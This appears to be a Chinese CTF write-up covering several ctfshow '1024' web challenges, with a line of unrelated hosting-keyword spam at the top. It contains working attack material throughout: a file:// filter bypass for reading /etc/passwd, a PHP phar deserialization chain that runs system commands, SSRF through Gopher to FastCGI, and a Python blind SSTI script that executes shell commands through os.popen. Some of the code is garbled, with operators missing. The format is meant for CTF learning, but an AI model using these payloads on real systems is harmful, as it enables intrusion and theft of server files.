网站空间虚拟主机续费,微信息公众平台微网站建设,网站虚拟主机公司,网站建设服务费怎么做会计分录1024 柏拉图
有点像rce远程执行#xff0c;有四个按钮#xff0c;分别对应四份php文件#xff0c;开始搞一下。一开始#xff0c;先要试探出 文件上传到哪里#xff1f; 怎么读取上传的文件#xff1f; 第一步#xff1a;试探上传文件位置
直接用burp抓包#xff0c;…
1024 柏拉图
有点像rce远程执行有四个按钮分别对应四份php文件开始搞一下。一开始先要试探出 文件上传到哪里 怎么读取上传的文件 第一步试探上传文件位置
直接用burp抓包就可以知道文件存储位置。 文件存储在: upload/XXXX 第二步如何查看这些上传的文件 或者说如何利用 直接抄别人的流程
/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功这里看来是双写绕过查看文件通过双写绕过playloadfifile://le://XXXxxx路径/var/run/xxx.php 应该是要我们查看什么文件五份文件index.php、upload.php、readfile.php、unlink.php、class.phpfifile://le:///var/www/html/readfile.php
?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# Author: h1xa
# Date: 2020-10-19 20:09:22
# Last Modified by: h1xa
# Last Modified time: 2020-10-19 21:31:48
# email: h1xactfer.com
# link: https://ctfer.com
*/
function curl($url){ $ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
if(isset($_GET[url])){$url $_GET[url];$bad file://;if(preg_match(/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is, $url,$match)){die(难道我不知道你在想什么除非绕过我);}else{$urlstr_replace($bad,,$url);curl($url);}
}
?会过滤这些字符
/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is第三步反序列化攻击
在这里readfile函数过滤不严谨我们可以通过phar进行反序列化攻击。
?php
error_reporting(0);
class A {public $a;public function __construct($a){$this-a $a;}
// public function __destruct()
// {
// echo THI IS CTFSHOW.$this-a;
// }
}
class B {public $b;public function __construct($b){$this-b $b;}public function __toString(){return ($this-b)();}
}
class C{public $c;public function __construct($c){$this-c $c;}public function __invoke(){return eval($this-c);}
}
$anew A();
$bnew B();
$cnew C();
$c-csystem(ls /);;
$b-b$c;
$a-a$b;unlink(phar.phar);
$phar new Phar(phar.phar);
$phar-startBuffering();
$phar-setStub(GIF89a.?php __HALT_COMPILER(); ?); //设置stub增加gif文件头
$phar-setMetadata($a); //将自定义meta-data存入manifest
$phar-addFromString(test.txt, test); //添加要压缩的文件
//签名自动计算
$phar-stopBuffering();
在本机执行上面的php文件然后修改为 phar.gif,绕过上传检验开始playloadburp抓包输入执行指令就可以看到根目录的文件。
compress.zlib://phar:///var/www/html/upload/phar.gif将 ls / 修改成 cat /ctfshow_1024_flag.txt这里有一个坑之前上传的是phar.gif后面上传的文件就不能是同名了需要修改文件名不然只能显示原始页面。
小结 info 基本流程 需要确定怎么绕过首页的URL查看到系统文件制定playload判断上传文件后的位置在哪里需要用什么攻击手段——存在读取函数可以用反序列化攻击 攻击原理 序列化一个恶意内容的文件并上传到系统服务器通过readfile函数反序列化不安全文件实现攻击 参考文献
【1024杯】web_coleak的博客-CSDN博客 1024 签到
进入页面可以看到这个代码
error_reporting(0);
highlight_file(__FILE__); //用 PHP 的内置函数 highlight_file 来显示当前文件的源代码
call_user_func($_GET[f]); //用 PHP 的内置函数 call_user_func 来调用一个用户定义的回调函数这段代码就是在告诉我们可以通过调用回调函数进行访问。 playloadurl?fXXX函数 想不到其他函数先试下phpinfo看到了支持ctfshow_1024直接访问下这个函数就可以看到flag 1024 图片
点击列表后先抓个包会发现一个链接这个参数加密的方式有点像Base64加密先解析下密发现这里直接显示链接里面包含有图片路径 奇思妙想是否有一些图片绕过指令有关于文件读取的ssrf那不就是文件包含读取 直接构建playload作用是读取下passwd文件记得要base64编码下
file://etc/passwd # 编码前
ZmlsZTovL2V0Yy9wYXNzd2Q //编码后直接放包查看效果发现成功了说明思路没问题的直接开搞 关键点2 有一个nginx配置设置说明这个使用nginx搭建的直接联想到nginx的配置文件/etc/nginx/nginx.conf 查看nignx的配置文件
file://etc/nginx/nginx.conf // playload
ZmlsZTovL2V0Yy9uZ2lueC9uZ2lueC5jb25m // 编码后burp放包查看有什么信息可以查看在这里提示我们有一个自定义的配置文件并不是走默认的nginx配置文件。
/etc/ngiinx/conf.d/*.conf重新构建下playload
file://etc/nginx/conf.d/default.conf //编码前
验收下成功其中的关键信息关键信息说明开放了接口 9000可以利用ssrf攻击
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;最后一步借助Gopher打fastcgi实现ssrf攻击
Gopherhttps://github.com/tarunkant/Gopherus输入读取的路径 /var/www/bushihtml/index.html执行指令 ls /base64编码下
放包操作查看结果好像少了什么东西看看题目有没有提示添加上去即可 参考文献
ctfshow_1024-CSDN博客SSRF利用 Gopher 协议拓展攻击面_https://www.ibus2333.com/novel/chapter/311_62f7cf7-CSDN博客 1024 hello_world
需要用post请求加多一个参数key可以输出自己想要的结果这不就是SSIT结构注入攻击吗开搞
key{%if []!1%}wdnmd{%endif%}构建playload AuthorLucky_bacon
Tool:Pycham、python3import requests
import string
if __name__ __main__:abt string.ascii_lowercase string.digits -_{}url http://e32219a2-efc5-4fa1-b4ee-5791e7fdb27b.challenge.ctf.show/cmd ls /ans for i in range(0, 80):for le in abt:payload {%if [][\\x5f\\x5fclass\\x5f\\x5f][\\x5f\\x5fbase\\x5f\\x5f][\\x5f\\x5fsubclasses\\x5f\\x5f]()[64][\\x5f\\x5finit\\x5f\\x5f][\\x5f\\x5fglobals\\x5f\\x5f][\\x5f\\x5fbuiltins\\x5f\\x5f][\\x5f\\x5fimport\\x5f\\x5f](os)[\\x5f\\x5fdict\\x5f\\x5f][popen]( cmd )[read]()[ str(i) ] le %}yoyo{%endif%}data {key: payload}r requests.post(url, data)if yoyo in r.text:ans leprint(ans ans)break 将指令换成 cat /ctfshow*